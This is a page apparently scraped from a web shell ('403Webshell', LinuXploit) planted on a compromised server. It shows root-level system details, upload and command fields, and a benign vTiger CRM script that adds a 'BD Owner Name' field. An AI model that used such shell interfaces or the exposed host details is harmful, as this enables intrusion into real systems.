403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.217.122
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/crest/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/crest/addBDOwnerField.php
<?php
$Vtiger_Utils_Log = true;
include_once('vtlib/Vtiger/Menu.php');
include_once('vtlib/Vtiger/Module.php');

//Accounts/Organization Field
$accountsModuleInstance = Vtiger_Module::getInstance('Accounts');
$accountsBlockInstance = Vtiger_Block::getInstance('LBL_ACCOUNT_INFORMATION', $accountsModuleInstance);

$fieldInstance = new Vtiger_Field(); 
$fieldInstance->name = 'bd_owner_name';
$fieldInstance->label = 'BD Owner Name'; 
$fieldInstance->table = $accountsModuleInstance->basetable; 
$fieldInstance->column = 'bd_owner_name'; 
$fieldInstance->columntype = 'VARCHAR(255)'; 
$fieldInstance->uitype = 2; 
$fieldInstance->typeofdata = 'V~M'; 
$accountsBlockInstance->addField($fieldInstance);


//Deals/Opportunity Field
$dealsModuleInstance = Vtiger_Module::getInstance('Potentials');
$dealsBlockInstance = Vtiger_Block::getInstance('LBL_OPPORTUNITY_INFORMATION', $dealsModuleInstance);

$fieldInstance1 = new Vtiger_Field(); 
$fieldInstance1->name = 'bd_owner_name';
$fieldInstance1->label = 'BD Owner Name'; 
$fieldInstance1->table = $dealsModuleInstance->basetable; 
$fieldInstance1->column = 'bd_owner_name'; 
$fieldInstance1->columntype = 'VARCHAR(255)'; 
$fieldInstance1->uitype = 2; 
$fieldInstance1->typeofdata = 'V~O'; 
$dealsBlockInstance->addField($fieldInstance1);


//SalesOrder Field
$soModuleInstance = Vtiger_Module::getInstance('SalesOrder');
$soBlockInstance = Vtiger_Block::getInstance('LBL_SO_INFORMATION', $soModuleInstance);

$fieldInstance2 = new Vtiger_Field(); 
$fieldInstance2->name = 'bd_owner_name';
$fieldInstance2->label = 'BD Owner Name'; 
$fieldInstance2->table = $soModuleInstance->basetable; 
$fieldInstance2->column = 'bd_owner_name'; 
$fieldInstance2->columntype = 'VARCHAR(255)'; 
$fieldInstance2->uitype = 2; 
$fieldInstance2->typeofdata = 'V~O'; 
$soBlockInstance->addField($fieldInstance2);


//Invoice Field
$invoicModuleInstance = Vtiger_Module::getInstance('Invoice');
$invoiceBlockInstance = Vtiger_Block::getInstance('LBL_INVOICE_INFORMATION', $invoicModuleInstance);

$fieldInstance3 = new Vtiger_Field(); 
$fieldInstance3->name = 'bd_owner_name';
$fieldInstance3->label = 'BD Owner Name'; 
$fieldInstance3->table = $invoicModuleInstance->basetable; 
$fieldInstance3->column = 'bd_owner_name'; 
$fieldInstance3->columntype = 'VARCHAR(255)'; 
$fieldInstance3->uitype = 2; 
$fieldInstance3->typeofdata = 'V~O'; 
$invoiceBlockInstance->addField($fieldInstance3);

Youez - 2016 - github.com/yon3zu
LinuXploit